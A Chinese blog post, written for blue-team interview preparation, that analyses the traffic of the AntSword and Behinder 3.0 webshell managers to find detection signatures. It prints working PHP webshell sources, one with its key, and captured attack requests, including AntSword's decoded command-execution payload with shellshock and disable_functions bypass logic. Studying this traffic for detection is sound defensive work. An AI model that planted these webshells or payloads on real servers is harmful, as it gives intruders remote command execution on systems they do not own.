前言 前段时间面试了某个蓝中,问了个流量辨别,但是准备的不太好,问了两个问题就被拿下了。因此这里简单学习分析一下常见的蚁剑和冰蝎3的流量特征。后面可能会补充其他的几个。
Antsword 蚁剑 测试方法 antsword代理设置为yakit的miit抓包端口:
shell内容 1 <?php class G40yQ75K { public function __construct ($H8744 ) { @eval ("/*Z#h*u@!hyP709104P*/" .$H8744 ."/*Z#h*u@!hyP709104P*/" ); }}new G40yQ75K ($_REQUEST ['123' ]);?>
default模式分析 正常执行命令:ls
请求包
1 2 3 4 5 6 7 8 POST /antsword.php HTTP/1.1 Host: 192.168 .111.11 :9290 Accept-Encoding: gzip, deflate Content-Length: 4878 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0 ) Gecko/20100101 Firefox/28.0 123 =%40 ini_set(%22 display_errors%22 %2 C%20 %220 %22 )%3 B%40 set_time_limit(0 )%3 B%24 opdir%3 D%40 ini_get(%22 open_basedir%22 )%3 Bif(%24 opdir)%20 %7 B%24 ocwd%3 Ddirname(%24 _SERVER%5 B%22 SCRIPT_FILENAME%22 %5 D)%3 B%24 oparr%3 Dpreg_split(base64_decode (%22 Lzt8Oi8%3 D%22 )%2 C%24 opdir)%3 B%40 array_push(%24 oparr%2 C%24 ocwd%2 Csys_get_temp_dir())%3 Bforeach(%24 oparr%20 as %20 %24 item)%20 %7 Bif(!%40 is_writable(%24 item))%7 Bcontinue%3 B%7 D%3 B%24 tmdir%3 D%24 item.%22 %2 F.8 a12e6d5fb%22 %3 B%40 mkdir(%24 tmdir)%3 Bif(!%40 file_exists(%24 tmdir))%7 Bcontinue%3 B%7 D%24 tmdir%3 Drealpath(%24 tmdir)%3 B%40 chdir(%24 tmdir)%3 B%40 ini_set(%22 open_basedir%22 %2 C%20 %22 ..%22 )%3 B%24 cntarr%3 D%40 preg_split(%22 %2 F%5 C%5 C%5 C%5 C%7 C%5 C%2 F%2 F%22 %2 C%24 tmdir)%3 Bfor(%24 i%3 D0%3 B%24 i%3 Csizeof(%24 cntarr)%3 B%24 i%2 B%2 B)%7 B%40 chdir(%22 ..%22 )%3 B%7 D%3 B%40 ini_set(%22 open_basedir%22 %2 C%22 %2 F%22 )%3 B%40 rmdir(%24 tmdir)%3 Bbreak%3 B%7 D%3 B%7 D%3 B%3 Bfunction%20 asenc(%24 out)%7 Breturn%20 %24 out%3 B%7 D%3 Bfunction%20 asoutput()%7 B%24 output%3 Dob_get_contents()%3 Bob_end_clean()%3 Becho%20 %2294 f5%22 .%229 c862%22 %3 Becho%20 %40 asenc(%24 output)%3 Becho%20 %22213 f8f%22 .%2298 dff6%22 %3 B%7 Dob_start()%3 Btry%7 B%24 p%3 Dbase64_decode(substr (%24 _POST%5 B%22 qff008052217ff%22 %5 D%2 C2))%3 B%24 s%3 Dbase64_decode(substr (%24 _POST%5 B%22 f12d7548c56512%22 %5 D%2 C2))%3 B%24 envstr%3 D%40 base64_decode(substr (%24 _POST%5 B%22 b832f5f8b2f391%22 %5 D%2 C2))%3 B%24 d%3 Ddirname(%24 _SERVER%5 B%22 SCRIPT_FILENAME%22 %5 D)%3 B%24 c%3 Dsubstr(%24 d%2 C0%2 C1)%3 D%3 D%22 %2 F%22 %3 F%22 -c%20 %5 C%22 %7 B%24 s%7 D%5 C%22 %22 %3 A%22 %2 Fc%20 %5 C%22 %7 B%24 s%7 D%5 C%22 %22 %3 Bif(substr (%24 d%2 C0%2 C1)%3 D%3 D%22 %2 F%22 )%7 B%40 putenv(%22 PATH%3 D%22 .getenv (%22 PATH%22 ).%22 %3 A%2 Fusr%2 Flocal%2 Fsbin%3 A%2 Fusr%2 Flocal%2 Fbin%3 A%2 Fusr%2 Fsbin%3 A%2 Fusr%2 Fbin%3 A%2 Fsbin%3 A%2 Fbin%22 )%3 B%7 Delse%7 B%40 putenv(%22 PATH%3 D%22 .getenv (%22 PATH%22 ).%22 %3 BC%3 A%2 FWindows%2 Fsystem32%3 BC%3 A%2 FWindows%2 FSysWOW64%3 BC%3 A%2 FWindows%3 BC%3 A%2 FWindows%2 FSystem32%2 FWindowsPowerShell%2 Fv1.0 %2 F%3 B%22 )%3 B%7 Dif(!empty (%24 envstr))%7 B%24 envarr%3 Dexplode(%22 %7 C%7 C%7 Casline%7 C%7 C%7 C%22 %2 C%20 %24 envstr)%3 Bforeach(%24 envarr%20 as %20 %24 v)%20 %7 Bif%20 (!empty (%24 v))%20 %7 B%40 putenv(str_replace (%22 %7 C%7 C%7 Caskey%7 C%7 C%7 C%22 %2 C%20 %22 %3 D%22 %2 C%20 %24 v))%3 B%7 D%7 D%7 D%24 r%3 D%22 %7 B%24 p%7 D%20 %7 B%24 c%7 D%22 %3 Bfunction%20 fe(%24 f)%7 B%24 d%3 Dexplode(%22 %2 C%22 %2 C%40 ini_get(%22 disable_functions%22 ))%3 Bif(empty (%24 d))%7 B%24 d%3 Darray()%3 B%7 Delse%7 B%24 d%3 Darray_map('trim' %2 Carray_map('strtolower' %2 C%24 d))%3 B%7 Dreturn(function_exists (%24 f)%26 %26 is_callable(%24 f)%26 %26 !in_array (%24 f%2 C%24 d))%3 B%7 D%3 Bfunction%20 runshellshock(%24 d%2 C%20 %24 c)%20 %7 Bif%20 (substr (%24 d%2 C%200 %2 C%201 )%20 %3 D%3 D%20 %22 %2 F%22 %20 %26 %26 %20 fe('putenv' )%20 %26 %26 %20 (fe ('error_log' )%20 %7 C%7 C%20 fe('mail' )))%20 %7 Bif%20 (strstr (readlink (%22 %2 Fbin%2 Fsh%22 )%2 C%20 %22 bash%22 )%20 !%3 D%20 FALSE )%20 %7 B%24 tmp%20 %3 D%20 tempnam(sys_get_temp_dir ()%2 C%20 'as' )%3 Bputenv(%22 PHP_LOL%3 D()%20 %7 B%20 x%3 B%20 %7 D%3 B%20 %24 c%20 %3 E%24 tmp%202 %3 E%261 %22 )%3 Bif%20 (fe ('error_log' ))%20 %7 Berror_log(%22 a%22 %2 C%201 )%3 B%7 D%20 else %20 %7 Bmail(%22 a%40127.0 .0.1 %22 %2 C%20 %22 %22 %2 C%20 %22 %22 %2 C%20 %22 -bv%22 )%3 B%7 D%7 D%20 else %20 %7 Breturn%20 False%3 B%7 D%24 output%20 %3 D%20 %40 file_get_contents(%24 tmp)%3 B%40 unlink(%24 tmp)%3 Bif%20 (%24 output%20 !%3 D%20 %22 %22 )%20 %7 Bprint(%24 output)%3 Breturn%20 True%3 B%7 D%7 Dreturn%20 False%3 B%7 D%3 Bfunction%20 runcmd(%24 c)%7 B%24 ret%3 D0%3 B%24 d%3 Ddirname(%24 _SERVER%5 B%22 SCRIPT_FILENAME%22 %5 D)%3 Bif(fe ('system' ))%7 B%40 system(%24 c%2 C%24 ret)%3 B%7 Delseif(fe ('passthru' ))%7 B%40 passthru(%24 c%2 C%24 ret)%3 B%7 Delseif(fe ('shell_exec' ))%7 Bprint(%40 shell_exec(%24 c))%3 B%7 Delseif(fe ('exec' ))%7 B%40 exec(%24 c%2 C%24 o%2 C%24 ret)%3 Bprint(join (%22 %0 A%22 %2 C%24 o))%3 B%7 Delseif(fe ('popen' ))%7 B%24 fp%3 D%40 popen(%24 c%2 C'r' )%3 Bwhile(!%40 feof(%24 fp))%7 Bprint(%40 fgets(%24 fp%2 C2048))%3 B%7 D%40 pclose(%24 fp)%3 B%7 Delseif(fe ('proc_open' ))%7 B%24 p%20 %3 D%20 %40 proc_open(%24 c%2 C%20 array (1 %20 %3 D%3 E%20 array ('pipe' %2 C%20 'w' )%2 C%202 %20 %3 D%3 E%20 array ('pipe' %2 C%20 'w' ))%2 C%20 %24 io)%3 Bwhile(!%40 feof(%24 io%5 B1%5 D))%7 Bprint(%40 fgets(%24 io%5 B1%5 D%2 C2048))%3 B%7 Dwhile(!%40 feof(%24 io%5 B2%5 D))%7 Bprint(%40 fgets(%24 io%5 B2%5 D%2 C2048))%3 B%7 D%40 fclose(%24 io%5 B1%5 D)%3 B%40 fclose(%24 io%5 B2%5 D)%3 B%40 proc_close(%24 p)%3 B%7 Delseif(fe ('antsystem' ))%7 B%40 antsystem(%24 c)%3 B%7 Delseif(runshellshock (%24 d%2 C%20 %24 c))%20 %7 Breturn%20 %24 ret%3 B%7 Delseif(substr (%24 d%2 C0%2 C1)!%3 D%22 %2 F%22 %20 %26 %26 %20 %40 class_exists(%22 COM%22 ))%7 B%24 w%3 Dnew%20 COM('WScript.shell' )%3 B%24 e%3 D%24 w-%3 Eexec(%24 c)%3 B%24 so%3 D%24 e-%3 EStdOut()%3 B%24 ret.%3 D%24 so-%3 EReadAll()%3 B%24 se%3 D%24 e-%3 EStdErr()%3 B%24 ret.%3 D%24 se-%3 EReadAll()%3 Bprint(%24 ret)%3 B%7 Delse%7 B%24 ret%20 %3 D%20127 %3 B%7 Dreturn%20 %24 ret%3 B%7 D%3 B%24 ret%3 D%40 runcmd(%24 r.%22 %202 %3 E%261 %22 )%3 Bprint%20 (%24 ret!%3 D0)%3 F%22 ret%3 D%7 B%24 ret%7 D%22 %3 A%22 %22 %3 B%3 B%7 Dcatch(Exception %20 %24 e)%7 Becho%20 %22 ERROR%3 A%2 F%2 F%22 .%24 e-%3 EgetMessage()%3 B%7 D%3 Basoutput()%3 Bdie()%3 B&b832f5f8b2f391=aY&f12d7548c56512=98 Y2QgIi92YXIvd3d3L2h0bWwiO2xzO2VjaG8gOGYzNTMzNztwd2Q7ZWNobyA1OGRhZTA%3 D&qff008052217ff=nmL2Jpbi9zaA%3 D%3 D
POST传入的代码部分我们可以先提取出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 <?php @ini_set ("display_errors" , "0" ); @set_time_limit (0 ); $opdir = @ini_get ("open_basedir" );if ($opdir ) { $ocwd = dirname ($_SERVER ["SCRIPT_FILENAME" ]); $oparr = preg_split (base64_decode ("Lzt8Oi8=" ), $opdir ); @array_push ($oparr , $ocwd , sys_get_temp_dir ()); foreach ($oparr as $item ) { if (!@is_writable ($item )) { continue ; }; $tmdir = $item . "/.8a12e6d5fb" ; @mkdir ($tmdir ); if (!@file_exists ($tmdir )) { continue ; } $tmdir = realpath ($tmdir ); @chdir ($tmdir ); @ini_set ("open_basedir" , ".." ); $cntarr = @preg_split ("/\\\\|\//" , $tmdir ); for ($i = 0 ; $i < sizeof ($cntarr ); $i ++) { @chdir (".." ); }; @ini_set ("open_basedir" , "/" ); @rmdir ($tmdir ); break ; }; };; function asenc ($out ) { return $out ; }; function asoutput ( ) { $output = ob_get_contents (); ob_end_clean (); echo "94f5" . "9c862" ; echo @asenc ($output ); echo "213f8f" . "98dff6" ; } ob_start ();try { $p = base64_decode (substr ($_POST ["qff008052217ff" ], 2 )); $s = base64_decode (substr ($_POST ["f12d7548c56512" ], 2 )); $envstr = @base64_decode (substr ($_POST ["b832f5f8b2f391" ], 2 )); $d = dirname ($_SERVER ["SCRIPT_FILENAME" ]); $c = substr ($d , 0 , 1 ) == "/" ? "-c \"{$s} \"" : "/c \"{$s} \"" ; if (substr ($d , 0 , 1 ) == "/" ) { @putenv ("PATH=" . getenv ("PATH" ) . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ); } else { @putenv ("PATH=" . getenv ("PATH" ) . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;" ); } if (!empty ($envstr )) { $envarr = explode ("|||asline|||" , $envstr ); foreach ($envarr as $v ) { if (!empty ($v )) { @putenv (str_replace ("|||askey|||" , "=" , $v )); } } } $r = "{$p} {$c} " ; function fe ($f ) { $d = explode ("," , @ini_get ("disable_functions" )); if (empty ($d )) { $d = array (); } else { $d = array_map ('trim' , array_map ('strtolower' , $d )); } return (function_exists ($f ) && is_callable ($f ) && !in_array ($f , $d )); }; function runshellshock ($d , $c ) { if (substr ($d , 0 , 1 ) == "/" && fe ('putenv' ) && (fe ('error_log' ) || fe ('mail' ))) { if (strstr (readlink ("/bin/sh" ), "bash" ) != FALSE ) { $tmp = tempnam (sys_get_temp_dir (), 'as' ); putenv ("PHP_LOL=() { x; }; $c >$tmp 2>&1" ); if (fe ('error_log' )) { error_log ("a" , 1 ); } else { mail ("a@127.0.0.1" , "" , "" , "-bv" ); } } else { return False; } $output = @file_get_contents ($tmp ); @unlink ($tmp ); if ($output != "" ) { print ($output ); return True; } } return False; }; function runcmd ($c ) { $ret = 0 ; $d = dirname ($_SERVER ["SCRIPT_FILENAME" ]); if (fe ('system' )) { @system ($c , $ret ); } elseif (fe ('passthru' )) { @passthru ($c , $ret ); } elseif (fe ('shell_exec' )) { print (@shell_exec ($c )); } elseif (fe ('exec' )) { @exec ($c , $o , $ret ); print (join (" " , $o )); } elseif (fe ('popen' )) { $fp = @popen ($c , 'r' ); while (!@feof ($fp )) { print (@fgets ($fp , 2048 )); } @pclose ($fp ); } elseif (fe ('proc_open' )) { $p = @proc_open ($c , array (1 => array ('pipe' , 'w' ), 2 => array ('pipe' , 'w' )), $io ); while (!@feof ($io [1 ])) { print (@fgets ($io [1 ], 2048 )); } while (!@feof ($io [2 ])) { print (@fgets ($io [2 ], 2048 )); } @fclose ($io [1 ]); @fclose ($io [2 ]); @proc_close ($p ); } elseif (fe ('antsystem' )) { @antsystem ($c ); } elseif (runshellshock ($d , $c )) { return $ret ; } elseif (substr ($d , 0 , 1 ) != "/" && @class_exists ("COM" )) { $w = new COM ('WScript.shell' ); $e = $w ->exec ($c ); $so = $e ->StdOut (); $ret .= $so ->ReadAll (); $se = $e ->StdErr (); $ret .= $se ->ReadAll (); print ($ret ); } else { $ret = 127 ; } return $ret ; }; $ret = @runcmd ($r . " 2>&1" ); print ($ret != 0 ) ? "ret={$ret} " : "" ;; } catch (Exception $e ) { echo "ERROR://" . $e ->getMessage (); }; asoutput ();die ();
主要传参截取代码:
1 2 3 $p = base64_decode (substr ($_POST ["qff008052217ff" ], 2 ));$s = base64_decode (substr ($_POST ["f12d7548c56512" ], 2 ));$envstr = @base64_decode (substr ($_POST ["b832f5f8b2f391" ], 2 ));
从第二位开始对应内容,这里测试一下传入参数:
1 b832f5f8b2f391=aY&f12d7548c56512=98 Y2QgIi92YXIvd3d3L2h0bWwiO2xzO2VjaG8gOGYzNTMzNztwd2Q7ZWNobyA1OGRhZTA=&qff008052217ff=nmL2Jpbi9zaA==
base64模式分析 请求包
1 2 3 4 5 6 7 8 POST /antsword.php HTTP/1.1 Host: 192.168 .111.11 :9290 Accept-Encoding: gzip, deflate Content-Length: 1754 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0 ) Gecko/20100101 Firefox/24.0 123 =%40 eval (%40 base64_decode(%24 _POST%5 B'kb9d1f833840ab' %5 D))%3 B&b414e120ef931b=A3L3Zhci93d3cv&kb9d1f833840ab=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLmJhOTgxZDYyODg2IjtAbWtkaXIoJHRtZGlyKTtpZighQGZpbGVfZXhpc3RzKCR0bWRpcikpe2NvbnRpbnVlO30kdG1kaXI9cmVhbHBhdGgoJHRtZGlyKTtAY2hkaXIoJHRtZGlyKTtAaW5pX3NldCgib3Blbl9iYXNlZGlyIiwgIi4uIik7JGNudGFycj1AcHJlZ19zcGxpdCgiL1xcXFx8XC8vIiwkdG1kaXIpO2ZvcigkaT0wOyRpPHNpemVvZigkY250YXJyKTskaSsrKXtAY2hkaXIoIi4uIik7fTtAaW5pX3NldCgib3Blbl9iYXNlZGlyIiwiLyIpO0BybWRpcigkdG1kaXIpO2JyZWFrO307fTs7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuIEBiYXNlNjRfZW5jb2RlKCRvdXQpO307ZnVuY3Rpb24gYXNvdXRwdXQoKXskb3V0cHV0PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2VjaG8gImNhOSIuImFkYjkiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjI5NyIuImM0MyI7fW9iX3N0YXJ0KCk7dHJ5eyREPWJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfUE9TVFsiYjQxNGUxMjBlZjkzMWIiXSwyKSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iCSIuJFQuIgkiLkBmaWxlc2l6ZSgkUCkuIgkiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7
首先就是有个base64解码, 将对应传参base64解码即可得到代码: 返回包的格式是前面一部分随机数,后面一部分随机数,中间为有效内容: 可以先不考虑后面的随机数,从前面逐个删除并base64解码爆破出内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import base64 import sys encoded_text = "ca9adb9Li4vCTIwMjEtMTEtMzAgMDg6NDQ6NDgJNDA5NgkwNzU1Ci4vCTIwMjQtMDQtMDcgMDQ6MTc6MjMJNDA5NgkwNzU1Cmh0bWwvCTIwMjQtMDUtMjkgMDc6MTc6MTEJNDA5NgkwNzc3CmxvY2FsaG9zdC8JMjAyNC0wNC0wNyAwNDoxNzoyMwk0MDk2CTA3NTUK297c43" min_valid_length = 16 for i in range (len (encoded_text)): for j in range (len (encoded_text), 0 , -1 ): if j - i > min_valid_length: try : decoded_text = base64.b64decode (encoded_text[i :j]).decode () print ("成功解码:" , decoded_text) sys.exit () except Exception as e: pass
特征分析 蚁剑明显的固有特征即为代码部分开头的@ini_set("display_errors", "0");@set_time_limit(0);
部分
Behinder3.0 冰蝎3.0 shell内容 1 <?php @error_reporting (0 );session_start ();$key ="202cb962ac59075b" ;$_SESSION ['k' ]=$key ;$f ='file' .'_get' .'_contents' ;$p ='|||||||||||' ^chr (12 ).chr (20 ).chr (12 ).chr (70 ).chr (83 ).chr (83 ).chr (21 ).chr (18 ).chr (12 ).chr (9 ).chr (8 );$Ht74n =$f ($p );if (!extension_loaded ('openssl' )){ $t =preg_filter ('/+/' ,'' ,'base+64+_+deco+de' );$Ht74n =$t ($Ht74n ."" );for ($i =0 ;$i <strlen ($Ht74n );$i ++) { $new_key = $key [$i +1 &15 ];$Ht74n [$i ] = $Ht74n [$i ] ^ $new_key ;} }else { $Ht74n =openssl_decrypt ($Ht74n , "AES128" , $key );}$arr =explode ('|' ,$Ht74n );$func =$arr [0 ];$params =$arr [1 ];class G6H53OR4 { public function /*Z #��h *u @!h736H186wQ */__invoke ($p ) {@eval ("/*Z#��h*u@!h736H186wQ*/" .$p ."" );}}@call_user_func(new G6H53OR4 (),$params );?>
密码123
模式分析 我们需要先将上传木马中的key提取出来:202cb962ac59075b
特征分析 强特征 - application/octet-stream 在冰蝎3.0中我们直接查看发包函数sendPostRequest
源代码:(net.rebeyond.behinder.utils.Utils
) 能注意到其中有一个强特征就是Content-Type
是application/octet-stream
,application/octet-stream
是一个 MIME 类型,表示二进制数据流。它通常用于以下情况:
未知文件类型: 当服务器无法确定文件的具体类型时,会使用 application/octet-stream 作为默认类型。 二进制文件: 例如,压缩文件(zip、rar)、可执行文件(exe、jar)、图片文件(jpg、png)等。 下载文件: 当用户从服务器下载文件时,服务器会使用 application/octet-stream 来指示浏览器应该将文件保存到本地磁盘,而不是在浏览器中直接打开。 简单来说,application/octet-stream 就是告诉浏览器:”这是一个二进制数据流,你无法直接理解它,请把它保存到本地磁盘,或者使用合适的应用程序打开它。” 除非反编译修改源代码,否则不会修改这段特征。
弱特征 - User-Agent 弱特征,可以很容易就被修改,冰蝎3.0在net.rebeyond.behinder.core.Constatns
中定义了Cookie常量: 每次会在其中选择一个使用: 因为我现在使用的版本已经被修改过UA,这里提供下未修改的UA:
冰蝎3.0流量特征分析(附特征) - FreeBuf网络安全行业门户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201
强特征 - Accept&Cache-Control 根据net.rebeyond.behinder.utils.Utils
其中的sendPostRequestBinary
函数中可以发现是使用HttpURLConnection
实现交互。 这里我有一点不懂,为什么这里引用的是java.net
下的HttpURLConnection
但是网上的分析是sun.net.www.protocol.http
下的HttpURLConnection
。 Utils中也引用的是java.net
下的。可能是我使用的这个版本是别人改装过的。因为这里的sendPostRequestBinary
这个函数下的特征application/octet-stream
就已经被删除了。这里按照网上的内容继续操作。 在sun.net.www.protocol.http.HttpURLConnection#writeRequests
中我们能看到: 如果没有对Cache-Control
、Pragma
、Accept
和User-Agent
赋值,就会设置为默认:
1 2 3 4 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/你的版本号 Accept: */*
这个是Java20
的内容,而网上常见的内容,是Java8
的格式:
1 2 3 4 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Cache-Control: no-cache Pragma: no-cache User-Agent: java/1.8
而冰蝎自己会设置UA,也就导致另外三个不会被设置。 而因为我这里运行的Java版本是11,也就导致Accept
和前面的结果都不一样。
弱特征 - Content-length 冰蝎中请求会调用Utils.getData
函数对请求的参数加密,对于一些密钥交互,获取信息等具有相同payload的特征。 缺点是这个可能不太准,因此作为弱特征。
后记 后面有机会把其他的几个补充补充。